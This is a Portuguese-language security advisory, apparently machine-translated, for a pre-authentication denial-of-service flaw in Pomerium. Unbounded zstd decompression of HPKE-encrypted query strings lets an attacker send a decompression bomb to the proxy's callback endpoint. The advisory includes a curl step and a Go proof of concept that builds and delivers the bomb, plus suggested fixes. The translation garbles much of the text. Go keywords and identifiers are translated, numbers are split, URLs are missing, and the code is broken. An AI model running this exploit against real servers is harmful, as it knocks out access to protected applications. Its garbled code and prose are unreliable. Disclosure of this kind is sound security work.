O HPKE V 2 O caminho de decodificação do URL em `pkg/hpke/url.go` descomprime dados zstd controlados pelo atacante sem qualquer limite de tamanho. Na implantação de Pomerium usando o fluxo de autenticação apátrida (Pomerium Zero / hosted authentificate), o endpoint `/.pomerium/callback` do proxy é alcançável sem credenciais e processos criptografados pelo atacante antes de validar a identidade do remetente. Como a chave pública do receptor HPKE do Pomerium é servida publicamente, um atacante pode criptografar uma bomba de descompressão, entregá- la ao ponto de chamada e causar alocação de memória sem limites — falhando ou degradando o processo proxy. **Alta** (CVSS) 3.1: 7.5 ). `CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - **Ataque Vector:** Rede — a rota `/.pomerium/callback` no serviço proxy é externamente acessível. - **Ataque Complexidade:** Baixo — a chave pública do receptor está disponível publicamente em `/.well-known/pomerium/hpke-public-key`; não se aplicam condições especiais. - **Privilegios Requeridos:** Nenhum — o ponto final da chamada é intencionalmente pré-autentificação (é a página de aterrissamento OAuth). - **Interação do usuário:** Nenhum - **Abrangência:** Não mudado — o DoS está confinado ao processo proxy de Pomerium em si. - ** Impacto de Confidencialidade:** Nenhum - **Impacto de Integralidade:** Nenhum - **Impacto Disponível:** Alto — ataques repetidos podem esgotar a memória do processo e bloquear o proxy. ## Componente afetado. - `pkg/hpke/url.go` — `decodeQueryStringV 2 ` (linha) 171 ) - `Internal/Autenticateflow/stateless.go` — `Callback' (linha 385 – 393 ) - `proxy/handlers.go` — `Callback` (linha 105 – 107 ), rota registrada na linha 53 – 54 - **CWE- 400 **: Consumo de Recursos Não Controlado - ** CWE- 1284 **: Validação incorrecta da quantidade especificada na entrada.

### Descompressão zstd não delimitada em `decodeQueryStringV 2 `. `pkg/hpke/url.go` define dois decodificadores. O V 1 o caminho é texto simples. O V 2 o caminho zstd- comprime a string de consulta antes da criptografia. Decodificação inverte isso sem o tamanho da saída (`url.go: 166 – 176 `): ```go var zstdDecoder, _ = zstd.NewReader( nil, zstd.WithDecoderLowmem(true), ). func decodificaQueryStringV 2 (raw []byte) (url.Valores, erro) { bs, err:= zstdDecoder.DecodeAll(raw, nul) // no size limit se err!= nul { devolver nul, err } devolver url.ParseQuery(string(bs)) } ```` `WithDecoderLowmem(true)` reduz a própria pegada de memória do decoder, mas não aplica cap na saída. A 19 Input de KB pode produzir 128 MiB de saída; a 38 Input de KB pode produzir 256 MiB. Em contraste, a base de códigos aplica o `LimitReader` ao descomprimir em `interna/zero/api/download.go: 75 `: ``` go r = io.LimitReader(zr, maxUncompressedBlobSize) // 1 Capa de GB ```. A proteção está disponível, mas não aplicada ao ` decodeQueryStringV 2 `, confirmando que esta é uma defesa inconsistente.

### HPKE não bloqueia o ataque — a validação do remetente é muito tardia `DecryptURLValuses` para o V 2 formato (`url.go: 107 – 126 `). Caso ``` go IsEncryptedURLV 2 (encriptado): enviadorPublicKey, err =PublicKey FromString(encriptado.Get(paramSenderPublicKeyV 2 )) // atacante- controlado //... selado, err:= decodificar(encriptado.Get(paramQueryV 2 )) //... mensagem, err:= Aberto(recebedorPrivateKey, remetentePublicKey, selado) // HPKE decodificado — sucede //... descodificado, err = decodificarQueryStringV 2 (mensagem) // zstd descomprimir — sem fundo ``` ` Abrir` usa ` SetupAuth` (modo autêntico do HPKE). Ele só verifica que o `sellado` foi criado com um par de chaves cuja metade pública é `senderPublicKey`. Como o atacante fornece tanto `k` (chave pública de transmissão) como `q` (carga útil selada), eles mesmos escolhem um par de chaves consistente. A chamada ` Aberto` tem sucesso com as suas próprias chaves recém- geradas. A identidade do remetente é validada **após** `DecryptURLvalues` retorna (`stateless.go: 391 – 397 `): ``` go senderPublicKey, valores, err:= hpke.DecryptURLValus(s.hpkePrivateKey, r. Form) //... zstd já completado... err = s.validateSenderPublicKey(r.Context(), senderPublicKey) // agora rejeita o atacante ````.

O pico de memória de descompressão ocorre incondicionalmente antes da rejeição. ### Cadeia de execução pré-aut na chamada de retorno proxy. O proxy registra a rota de chamada sem qualquer sessão ou middleware de assinatura (`proxy/handlers.go: 53 – 54 `): ``` go c:= r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter() c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Métodos(http.MethodGet) ```. Para implantações de fluxos sem Estado, `p.Callback` → `autenticateflow.Stateless.Callback` → `hpke.DecryptURLvalues` (descomprimir sem limites) → `validateSenderPublicKey` (rejeitos). Isto é por design: o objetivo de chamada de volta deve ser pré- auth porque é a página de landing após um redirecionamento do IdP OAuth. A chave pública do receptor HPKE de Pomerium é servida publicamente e sem autenticação (`internal/ controlplane/ http.go: 82 `): ``` go root.Path(endpoints.PathHPKEPublicKey).Metodos(http.MethodGet).Handler( traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey))). O ataque completo não requer nenhuma credencial de qualquer tipo.

** As implantações auto- hospedadas (estatais) NÃO são afetadas.** As chamadas de `s.VerifySignature(r)' como sua primeira operação, verificando um HMAC-SHA 256 assinatura sobre a URL antes de tocar o corpo. Se a assinatura está faltando ou inválida, a função retorna imediatamente sem desencriptar ou descomprimir nada. Passo ````bash # 1: Recuperar o receptor de tecla pública curl -so receiver.pub " xxd head # Passo 2: Construir e enviar a bomba de descompressão (requer ir) ``` importar ( "codificação/base 64 " "Fmt" "net/http" "net/url" "cadeias". "github.com/klauspost/compress/zstd" "github.com/pomerium/pomerium/pkg/hpke" ).

func main() { // Fetch receptor da chave pública do alvo Resp, _:= http.Get(" pubBytes:= make([]byte, 32 ) rep.Corpo.Leia(pubBytes) rep.Corpo.Fechar() receptorPub, _:= hpke.PublicKeyFromBytes(pubBytes). // Atacador gera seu próprio atacante de teclas do remetentePriv, _:= hpke.GeneratePrivateKey() // Construir uma bomba de descompressão: 128 MiB de bytes repetidos → ~ 19 KB comprimido plano:= "x=" + strings.Repetição("A", 128 * 1024 * 1024 ) enc, _= zstd.NewWriter(nil) comprimido:= enc.EncodeAll([]byte(plain), nil) // Sele a bomba com a chave privada do atacante → selada a chave pública do servidor, _:= hpke.Seal(ataquePriv, receiverPub, comprimido).

Form:= url.Values{ "k": {atackerPriv.PublicKey().String()}, "q": {base 64.RawURLEncoding.EncodeToString(selated)}, }. // Entregue para o alvo do ponto de chamada pré- auth:= " + formulário.Encode() fmt.Printf("Enviando bomba para:%s\n", alvo) http.Get(alvo) fmt.Println("Feito — servidor alocado ~ 256 MB por pedido") } ``` As chamadas repetidas amplificam o efeito proporcionalmente. A rejeição do lado do servidor de `validateSenderPublicKey` não impede a alocação. - **Negação pré-autícia de serviço** contra qualquer proxy Pomerium usando o fluxo autêntico hospedado/stateless (Pomerium Zero / `authenticate.pomerium.app`). - Um atacante que pode alcançar o proxy pode alocar centenas de megabytes de memória do servidor por pedido HTTP enviando um ~ 20 – 40 Carga útil do KB. - O ataque sustentado com solicitações simultâneas pode esgotar a memória disponível e bloquear o processo proxy, bloqueando todo o acesso do usuário a todos os aplicativos protegidos por essa implantação Pomerium. - Não é necessário nenhuma credencial, cookies de sessão ou acesso de insiders — apenas acessível à rede para a porta HTTPS do proxy. ## Remediação recomendada. Opção ### 1 Tamanho de saída descomprimido do cap no `decodeQueryStringV 2 ` (preferido).

Aplicar um limite superior razoável na cadeia de consulta descomprimida. As cadeias de consulta codificadas pelo HPKE contêm parâmetros URL (URIs redirecionados, escopos, timestamps) e nunca são mais do que algumas centenas de quilobytes: ```go const maxDescomprimidoQuerySize = 1 << 20 // 1 MiB — generoso para qualquer string de consulta real func decodificaQueryStringV 2 (raw []byte) (url.Valores, erro) { bs, err:= zstdDecoder.DecoderAll(raw, nil) se err!= nil { devolver nul, err } se len(bs) > maxDescomprimidoQuerySize { devolver nul, fmt.Errorf("hpke: descomprimido string de consulta excede o tamanho máximo (%d bytes)", len(bs)) } devolve url.ParseQuery(string(bs)) } ```` Isto corrige a causa raiz na camada mais baixa e protege todos os chamadores incondicionalmente.

Opção ### 2: Validar a chave pública do remetente antes de descomprimir. Reestruturar o `DecryptURLValues` para que a chave pública do remetente seja comparada com a chave de serviço autenticada conhecida antes de a etapa de descompressão ser alcançada. Isto requer passar a chave pública esperada para "DecryptURLValuses" ou dividir os passos de desencriptação e descompressão: ``` go // Em Stateless.Callback, antes de ligar para DecryptURLvalues: senderPublicKey, _:= PublicKey FromString(r.Form.Get("k")) se err:= s.validateSenderPublicKey(r.Context(), senderPublicKey); err!= nul { retorna err // rejeitar antes da descompressão } // em seguida, prossiga com a decifração e a descompressão ``` Isto elimina o caminho de ataque DoS inteiramente para o ponto de chamada, mas não corrige o subjacente faltando vinculado no ` decodeQueryStringV 2 `, deixando outros chamadores atuais ou futuros em risco. Esta vulnerabilidade foi descoberta e reportada por [bugbunny.ai](. Registro de aconselhamento: GHSA- ggw 3 - 5987 -rx 77. Identificadores relacionados: CVE- 2026 - 50285.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 15 T 23: 08: 18.000 Z e lista a sua última modificação como 2026 - 07 - 15 T 23: 08: 18.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: Vá pacote github.com/pomerium/pomerium — ECOSISTEM: introduzido 0.32.6, corrigido 0.32.8. Classificação e evidência: identificadores de fraqueza CWE- 1284, CWE- 400. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.